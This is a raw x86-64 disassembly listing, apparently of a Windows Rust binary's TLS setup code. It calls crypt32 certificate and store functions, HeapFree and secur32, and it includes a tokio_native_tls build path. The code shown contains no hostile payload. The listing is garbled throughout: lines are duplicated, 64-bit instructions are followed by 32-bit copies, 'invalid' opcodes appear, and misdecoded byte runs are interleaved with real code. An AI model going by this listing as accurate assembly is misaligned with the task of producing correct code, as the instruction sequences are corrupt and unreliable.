movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmm2, xmmword [rsp + 0x50]
movaps xmm3, xmmword [rsp + 0x60]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov qword [rdi + 0x58], r14
mov dword [rdi + 0x58], esi
mov dword [rdi + 0x58], esi
mov qword [rdi + 0x60], r12
mov qword [rdi + 0x68], r13
mov byte [rdi + 0xeb0], 0
cmp dword [rsi], 1
jne 0x14009634a
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
add byte [rax - 0x77], cl
and al, 0x28
add byte [rax - 0x77], cl
and al, 0x28
mov r13d, 1
jmp 0x14009634d
xor r13d, r13d
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
adc bh, bh
adc eax, 0x98e31
mov r12, rax
movzx ebp, byte [rsi + 0x1c]
movzx r14d, byte [rsi + 0x1d]
sbb eax, 0x76100ff2
sbb byte [rdi], cl
mov dh, 5
cdq
invalid
adc byte [rax], al
mov edx, 0x338
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400963f7
sbb eax, 0x76100ff2
sbb byte [rdi], cl
mov dh, 5
cdq
invalid
mov qword [rax], r13
mov rcx, qword [rsp + 0x28]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r12
movss dword [rax + 0x18], xmm6
mov byte [rax + 0x1c], bpl
mov byte [rax + 0x1d], r14b
mov qword [rax + 0x20], rbx
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], rbx
mov qword [rax + 0x38], rdi
lea rcx, [0x14015cb48]
xchg esp, eax
or al, 0
xchg esp, eax
or al, 0
mov qword [rax + 0x40], rcx
mov ecx, dword [rsp + 0x24]
mov byte [rax + 0x48], cl
mov byte [rax + 0x49], 0
lea rdx, str.0d_t_
lea edx, str.0d_t_
lea edx, str.0d_t_
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rdi
invalid
pop rdi
ret
ud2
mov ecx, 8
mov edx, 0xeb8
call fcn.140122190
invalid
or byte [rax], al
mov ebp, 0x8b90008
add byte [rax], al
add byte [rdx + 0x338], bh
mov ecx, 8
mov edx, 0x338
call fcn.140122190
or byte [rax], al
mov ecx, 8
mov edx, 0x18
call fcn.140122190
call fcn.1400067e0
mov ecx, 1
mov rdx, rbx
call fcn.140122170
invalid
or byte [rax], al
int3
mov ebp, 0xcccc0008
int3
add byte [rax], al
cmp eax, 3
je 0x140096473
cmp eax, 4
jne 0x1400964ea
xchg esi, eax
add byte [rax], al
invalid
xchg esi, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x86
xor byte [rbx], al
add byte [rax], al
movzx eax, byte [rsi + 0x330]
cmp eax, 3
je 0x140096505
invalid
add byte [rax], al
add byte [rax], al
movabs eax, dword [0x484475c085000000]
lea ecx, [rsi + 0x50]
add byte [rax], al
test eax, eax
jne 0x1400964ac
lea rcx, [rsi + 0x50]
call fcn.1400978b0
jmp 0x1400964ac
add bl, ch
cmp dword [rax - 0x75], ecx
jle 0x1400964c7
mov rdi, qword [rsi + 0x50]
mov rbx, qword [rsi + 0x58]
mov rax, qword [rbx]
test rax, rax
je 0x140096488
mov rcx, rdi
mov ecx, edi
call rax
cmp qword [rbx + 8], 0
je 0x1400964ac
cmp qword [rbx + 0x10], 0x11
cmp dword [rbx + 0x10], 0x11
jb 0x14009649a
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
or eax, 0x108db7
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1400964bc
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x20], 0
je 0x1400964ea
add byte [rax - 0x7d], cl
jle 0x1400964ec
add byte [rbx + rbx + 0x4c], dh
mov eax, dword [rsi + 0x28]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
sal byte [rbp - 0x80], 0xeb
or dword [rdi], 0xffffffb6
xchg byte [rax], al
add byte [rdx], al
add byte [rax], al
cmp eax, 4
je 0x140096549
invalid
sub bl, 0x83
movzx eax, byte [rsi + 0x200]
add byte [rdx], al
add byte [rax], al
cmp eax, 4
je 0x140096549
invalid
cmp byte [rbx + 0x127403f8], al
cmp eax, 3
je 0x140096528
test eax, eax
jne 0x1400964ac
lea rcx, [rsi + 0x90]
call fcn.1400978b0
add al, ch
mov dl, byte [rbx]
add byte [rax], al
jmp 0x1400964ac
cmp dword [rsi + 0x208], 2
je 0x14009655e
invalid
add byte [rax], al
add dh, byte [rbp + rbp + 0x48]
sub eax, 0x88e8d48
add al, byte [rax]
invalid
sub eax, 0x88e8d48
add al, byte [rax]
add al, ch
invalid
jae 0x14009654e
lea rcx, [rsi + 0x208]
call fcn.1400978b0
add byte [rax], al
mov byte [rsi + 0x201], 0
jmp 0x1400964ac
cmp dword [rsi + 0x208], 2
add al, byte [rax]
add byte [rdx], al
je 0x14009655e
lea rcx, [rsi + 0x208]
call fcn.140097a00
mov byte [rsi + 0x201], 0
jmp 0x1400964ac
mov ebp, eax
mov rdi, rdx
xlatb
mov rsi, rcx
movzx eax, byte [rdx + 0x49]
lea rcx, [0x1401945f4]
loopne 0x1400965ad
add byte [rax + 0x63], cl
add al, 0x81
loopne 0x1400965ad
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
mov rdx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x40]
mov eax, dword [rdi + 0x40]
mov qword [rdi + 0x50], rdx
mov qword [rdi + 0x58], rax
jmp 0x140096610
test eax, eax
je 0x1400967b2
cmp eax, 3
jne case.default.0x1400965fa
lea rax, [rdi + 0x200]
mov qword [rsp + 0x68], rax
movzx eax, byte [rdi + 0x200]
lea rcx, [0x140194608]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
call fcn.140122c50
mov rdx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x58]
lea rcx, [rsp + 0x360]
mov r8, r13
call qword [rax + 0x18]
mov r14, qword [rsp + 0x360]
mov ah, 0x24
invalid
add eax, dword [rax]
add byte [rcx - 0x7d], cl
inc byte [rbx]
jne 0x14009663a
mov qword [rsi], 4
mov al, 3
jmp 0x1400977c7
mov rbp, r13
in eax, dx
mov r13, qword [rsp + 0x368]
mov r12, qword [rsp + 0x370]
movups xmm0, xmmword [rsp + 0x378]
movaps xmmword [rsp + 0x110], xmm0
mov r15, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x58]
mov rax, qword [rbx]
test rax, rax
je 0x140096672
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x140096696
cmp qword [rbx + 0x10], 0x11
jb 0x140096684
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14d, 2
jne 0x140096755
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009783e
mov r14, rax
mov qword [rax], r13
mov qword [rax + 8], r12
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rax + 0x10], xmm0
lea r13, [0x140159280]
cmp qword [rdi], 0
je 0x1400966e9
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ebp, 3
cmp qword [rdi + 0x20], 0
je 0x140096714
mov r8, qword [rdi + 0x28]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rbp
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r12
mov dword [rsi + 0x18], esp
mov dword [rsi + 0x18], esp
movaps xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], r15
mov qword [rsi + 0x38], rbx
lea rcx, [rsi + 0x40]
lea rdx, [rsp + 0x9b0]
lea edx, [rsp + 0x9b0]
lea edx, [rsp + 0x9b0]
or dword [rax], eax
add byte [rcx - 0x48], al
call 0x12809674a
adc ch, byte [rdi + 0x1b00008]
mov r8d, 0xe8
call fcn.140121660
mov al, 1
jmp 0x1400977c7
cmp byte [rdi + 0x48], 0
je 0x140096bea
mov rcx, qword [rdi + 0x28]
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r13
mov qword [rdi + 0x60], r12
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rdi + 0x68], xmm0
adc dword [rdi + 0x68], eax
mov qword [rdi + 0x78], rdi
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea r12, [rdi + 0x330]
mov byte [rdi + 0x330], 0
movq xmm0, rdi
movq mm0, rdi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
mov r13, rbp
jmp 0x1400967be
movdqu xmm0, xmmword [rdi + 0x78]
mov rax, qword [rdi + 0x88]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0xb0], rcx
mov rcx, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
movups xmm1, xmmword [rdi + 0x60]
movups xmmword [rdi + 0xa0], xmm1
mov qword [rdi + 0x90], rcx
mov qword [rdi + 0x98], rdx
movdqu xmmword [rdi + 0xb8], xmm0
mov qword [rdi + 0xc8], rax
lea rax, [rdi + 0x200]
mov qword [rsp + 0x68], rax
mov byte [rdi + 0x200], 0
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
mov qword [rsp + 0x338], rax
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rsp + 0x328], xmm0
movups xmm0, xmmword [rdi + 0x90]
movups xmm1, xmmword [rdi + 0xa0]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x300], eax
movaps xmmword [rsp + 0x310], xmm1
mov rax, qword [rdi + 0xb0]
mov qword [rsp + 0x320], rax
movups xmmword [rdi + 0x208], xmm0
movups xmmword [rdi + 0x218], xmm1
mov rax, qword [rsp + 0x330]
mov qword [rdi + 0x238], rax
mov rax, qword [rsp + 0x338]
mov qword [rdi + 0x240], rax
mov rax, qword [rsp + 0x320]
mov qword [rdi + 0x228], rax
mov rax, qword [rsp + 0x328]
mov qword [rdi + 0x230], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rdi + 0x208]
mov r15, qword [rdi + 0x230]
mov r12, qword [rdi + 0x238]
mov rbx, qword [rdi + 0x240]
mov qword [rdi + 0x208], 2
cmp rax, 2
je 0x1400977e9
movups xmm0, xmmword [rdi + 0x210]
movups xmm1, xmmword [rdi + 0x220]
movups xmmword [rsp + 0x168], xmm1
movups xmmword [rsp + 0x158], xmm0
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x178], r13
movabs rcx, 0x8000000000000000
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 8
mov qword [rsp + 0xd8], 0
movzx eax, byte [r15 + 0x1c]
movzx ecx, byte [r15 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx ecx, dl
mov edx, 4
cmovb edx, ecx
movzx r14d, dl
cmp al, 5
sete cl
cmp r14b, al
setb dl
or dl, cl
je 0x14009698b
lea r13, [0x140157af0]
jmp 0x1400969a1
movzx eax, al
lea r13, [0x140157af0]
add r13, rax
sub r14, rax
je 0x140096c0e
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r14
call fcn.1400f8ae0
test rax, rax
je 0x14009780d
mov rbp, rax
mov rcx, rbp
mov rdx, r13
mov r8, r14
call fcn.140121660
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], rbp
mov qword [rsp + 0x108], r14
cmp dword [r15], 1
jne 0x140096a1b
mov rcx, qword [r15 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
lea rcx, [rsp + 0xc8]
call fcn.1400e7400
mov rax, qword [rsp + 0xd0]
mov qword [rax], r14
mov qword [rsp + 0xd8], 1
lea rcx, [rsp + 0xc8]
call fcn.1400e74b0
mov r14, rdx
test rax, rax
je 0x140096b1d
mov rax, qword [rsp + 0xe0]
neg rax
jo 0x140096a5a
jae 0x140096a5a
mov rax, qword [rsp + 0xf8]
neg rax
jo 0x140096a80
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x360]
mov r8d, 0x118
call fcn.140121660
mov r13d, 2
mov rbx, r14
jmp 0x14009733f
movabs rax, 0x8000000000000000
mov qword [rsp + 0x80], rax
mov word [rsp + 0xc0], 1
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x98], rax
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x70]
mov rdx, r12
mov r8, rbx
call fcn.1400e7c50
movzx eax, byte [r15 + 0x18]
mov byte [rsp + 0xc0], al
movzx eax, byte [r15 + 0x19]
mov byte [rsp + 0xc1], al
cmp byte [r15 + 0x1a], 0
je 0x140096c1b
movzx eax, byte [0x14019f308]
mov edx, 0x10
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009785c
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x2e0], xmm0
mov ebp, 2
cmp qword [rdi], 0
jne 0x1400976d5
jmp 0x1400976df
xor r14d, r14d
mov ebp, 1
jmp 0x1400969be
cmp byte [r15 + 0x1b], 0
je 0x140096cbf
test byte [rax], dl
add byte [rcx], dh
leave
mov rdx, r8
mov rbp, r8
call fcn.1400f8ae0
test rax, rax
je 0x14009787c
mov r12, rax
mov r15, qword [rsp + 0x58]
mov rdx, r15
mov qword [rsp + 0x38], rbp
mov r8, rbp
jmp 0x140096f61
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x360]
call fcn.1400c44f0
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x368], al
invalid
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x368], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x350], eax
movaps xmmword [rsp + 0x350], xmm0
jmp 0x140096f93
mov rcx, r12
mov ecx, esp
mov rbp, r8
call fcn.140121660
mov rcx, r15
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov r15d, ebx
movzx ebx, byte [rsp + 0x27]
xor eax, eax
cmp rax, qword [rsp + 0x98]
jno 0x140096f11
movabs rax, 0x8000000000000000
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x258], rcx
and al, 0x58
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x150], al
push rax
add dword [rax], eax
invalid
and al, 0x58
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x150], al
push rax
add dword [rax], eax
invalid
push rax
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x160], cl
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
jo 0x140096fcc
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x1c0], eax
movups xmmword [rsp + 0x1c0], xmm0
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm2
mov rcx, qword [rsp + 0x60]
invalid
mov qword [rsp + 0x1b0], rcx
mov al, 1
add byte [rax], al
invalid
mov al, 1
add byte [rax], al
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 1
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdi*4], fs
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
movups xmmword [rsp + 0x220], xmm0
add dword [rax], eax
add byte [rax], al
movups xmmword [rsp + 0x220], xmm0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x238], r12
mov qword [rsp + 0x240], rbp
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
mov qword [rsp + 0x250], rcx
add byte [rax], al
mov qword [rsp + 0x268], rax
movaps xmm0, xmmword [rsp + 0x350]
movups xmmword [rsp + 0x270], xmm0
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x280], 0x10000
mov byte [rsp + 0x284], 0
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x98
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x2a0], esi
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x98
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x2a0], esi
mov qword [rsp + 0x2b0], r13
mov qword [rsp + 0x2b8], rdx
mov qword [rsp + 0x2c0], 1
mov qword [rsp + 0x2c8], 0
mov byte [rsp + 0x2d0], bl
mov byte [rsp + 0x2d1], r15b
mov word [rsp + 0x2d2], 0x100
add byte [rcx], al
add byte [rcx], al
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x1b0]
call fcn.1400b0720
movzx eax, byte [rsp + 0x360]
mov rbx, qword [rsp + 0x368]
mov rbp, qword [rsp + 0x370]
add eax, dword [rax]
add byte [rax - 0x57d7dbbc], cl
invalid
je 0x14009715f
add eax, dword [rax]
add byte [rax - 0x57d7dbbc], cl
add dword [rbx + rsi + 0x48], esi
cmp ebx, 2
cmp rbx, 2
je 0x14009714d
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0x1b0]
mov r8d, 0x118
call fcn.140121660
lea rcx, [rsp + 0x5d8]
lea rdx, [rsp + 0x1b0]
jmp 0x14009716f
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0x5d8]
mov r8d, 0x118
call fcn.140121660
lea rcx, [rsp + 0x70]
call fcn.1400a7530
mov rax, qword [rsp + 0xe0]
neg rax
jo 0x1400971aa
jae 0x1400971aa
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14019f258]
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
or eax, 0x1080b6
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xf8]
neg rax
jo 0x1400971d0
jae 0x1400971d0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
test r12, r12
je 0x1400971ff
xor r13d, r13d
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop
mov rcx, qword [r15 + r13*8]
inc r13
call r14
cmp r12, r13
jne 0x1400971f0
cmp qword [rsp + 0xc8], 0
je 0x14009721c
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x4c0]
lea rdx, [rsp + 0x5d8]
mov r8d, 0x118
call fcn.140121660
test byte [rsp + 0x28], 1
mov r14, rbp
je 0x1400972d6
cmp rbx, 2
je 0x140096af4
invalid
dec dword [rbp + rcx*4 - 0x44]
and al, 0x60
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add al, 0
add byte [rcx - 0x48], al
sbb byte [rcx], al
add byte [rax], al
lea r15, [rsp + 0x360]
lea rdx, [rsp + 0x4c0]
mov r8d, 0x118
mov rcx, r15
call fcn.140121660
lea rcx, [rsp + 0x1b0]
mov r8d, 0x118
mov rdx, r15
call fcn.140121660
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x180], xmm0
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x190], ecx
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x190], ecx
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x1a0], rax
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x7e0]
mov word [rax + riz*8], fs
invalid
add byte [rax], al
mov r8d, 0xe8
call fcn.140121660
mov r13d, 1
jmp 0x14009733f
invalid
mov word [rax + riz*8], fs
invalid
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x4c0]
mov r8d, 0x118
call fcn.140121660
movups xmm0, xmmword [rsp + 0x1b0]
adc byte [rsp + 0x1b0], al
adc byte [rsp + 0x1b0], al
movups xmm1, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x190], xmm1
mov rax, qword [rsp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
rol byte [rcx], 1
add byte [rax], al
mov qword [rsp + 0x1a0], rax
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x7e0]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
call 0x128097338
add byte [rax], al
call fcn.140121660
add byte [rax], al
call fcn.140121660
xor r13d, r13d
lea r15, [rdi + 0x208]
mov byte [rdi + 0x201], 1
mov qword [rdi + 0xd0], r13
add byte [rax], al
add byte [rax - 0x77], cl
lahf
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
lahf
fadd dword [rax]
add byte [rax], al
mov qword [rdi + 0xe0], r14
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movups xmmword [rdi + 0xe8], xmm0
movups xmmword [rdi + 0xf8], xmm1
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x59], cl
sbb byte [rcx], al
add byte [rax], al
lea rdx, [rsp + 0x7e0]
add byte [rax], al
add byte [rax], al
mov r8d, 0xe8
mov rcx, r12
call fcn.140121660
cmp dword [rdi + 0x208], 2
add byte [rax], al
invalid
je 0x1400973cf
add byte [rax], al
add dh, byte [rdi + rcx + 0x4c]
mov ecx, edi
mov rcx, r15
call fcn.1400978b0
mov r13, qword [rdi + 0xd0]
add byte [rax], al
add byte [rax], al
test r13, r13
je 0x1400974be
lea rdx, [rdi + 0xd8]
add byte [rax], al
cmp r13, 1
jne 0x14009752f
mov r8d, 0x128
mov rcx, r15
call fcn.140121660
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x30]
mov ebp, dword [rsp + 0x30]
mov ebp, dword [rsp + 0x30]
mov rbx, qword [rdi + 0x208]
mov qword [rdi + 0x208], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
cmp rbx, 2
je 0x14009781a
lea r15, [rdi + 0x248]
movups xmm0, xmmword [rdi + 0x210]
add byte [rdi], cl
adc byte [rdi + 0x210], al
movups xmm1, xmmword [rdi + 0x220]
movups xmm2, xmmword [rdi + 0x230]
adc byte [rdi + 0x230], dl
invalid
adc byte [rdi + 0x230], dl
add byte [rax], al
movups xmmword [rsp + 0x1d8], xmm2
movups xmmword [rsp + 0x1c8], xmm1
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x1b8], xmm0
lea rcx, [rsp + 0x1f0]
mov word [rax + rsi*8], fs
add dword [rax], eax
invalid
mov eax, 0x48000001
lea ecx, [rsp + 0x1f0]
mov word [rax + rsi*8], fs
add dword [rax], eax
invalid
mov word [rax + rsi*8], fs
add dword [rax], eax
add byte [rcx - 0x48], al
call 0x18c097460
mov edx, edi
mov r8d, 0xe8
mov rdx, r15
call fcn.140121660
stc
movabs eax, dword [0x1b0249c89480008]
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1e8], r13
add byte [rax], al
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x1b0]
mov al, 1
add byte [rax], al
mov al, 1
add byte [rax], al
call fcn.1400b0720
mov rbp, qword [rsp + 0x368]
mov ebp, dword [rsp + 0x368]
mov ebp, dword [rsp + 0x368]
mov r14, qword [rsp + 0x370]
cmp dword [rsp + 0x360], 1
add dword [rdi], ecx
invalid
xchg edi, eax
add byte [rax], al
invalid
and al, 0x70
add eax, dword [rax]
add byte [rbx + 0x36024bc], al
add byte [rax], al
add dword [rdi], ecx
test dword [rdi + 0x48000000], edx
cmp ebp, 2
cmp rbp, 2
jne case.0x14005714b.567
mov ebp, 2
add byte [rax], al
jmp 0x1400975e7
mov rbp, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe0]
add byte [rbx + rcx*4 - 0x51], cl
call 0x1880974d4
mov eax, dword [rdi + 0xf0]
add byte [rbx + rcx*4 - 0x51], cl
call 0x1880974d4
mov eax, dword [rdi + 0xf0]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rdi + 0xf8]
movaps xmmword [rsp + 0x2f0], xmm0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x2f0], eax
mov r15, qword [rdi + 0x108]
mov rbx, qword [rdi + 0x110]
lahf
adc byte [rcx], al
add dword [rax], eax
invalid
lahf
adc byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
or byte [rax], al
add byte [rcx - 0x48], al
call 0x18c09750b
add byte [rcx + rcx*4 - 0x1e], cl
lea rcx, [rsp + 0x8c8]
mov r8d, 0xe8
add byte [rcx + rcx*4 - 0x1e], cl
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.140121660
mov word [rdi + 0x200], 1
cmp rbp, 3
mov r12, qword [rsp + 0x40]
invalid
movabs eax, dword [0x20087c7660008]
add byte [rcx], al
add byte [rax - 0x7d], cl
std
add ecx, dword [rbx + rcx*4 + 0x64]
and al, 0x40
invalid
jne 0x140097631
jne 0x140097631
jmp 0x1400977b9
mov r12, qword [rsp + 0x40]
mov r14, qword [rdx]
mov esi, dword [rdx]
mov esi, dword [rdx]
mov ebp, 2
jmp 0x140097626
mov r13, qword [rsp + 0x378]
mov rax, qword [rsp + 0x380]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x388]
movaps xmmword [rsp + 0x130], xmm0
sub dword [rsp + 0x130], eax
sub dword [rsp + 0x130], eax
add dword [rax], eax
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x98
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
mov r15, qword [rsp + 0x398]
lea rdx, [rsp + 0x3a0]
add eax, dword [rax]
add byte [rax - 0x73], cl
pushfq
and al, 0x80
or eax, dword [rax]
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
movabs al, byte [0x1302484280f0008]
add byte [rdi], cl
sub byte [rsp + 0x130], al
add eax, dword [rax]
add byte [rax - 0x73], cl
pushfq
and al, 0x80
or eax, dword [rax]
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
add byte [rdi], cl
sub byte [rsp + 0x130], al
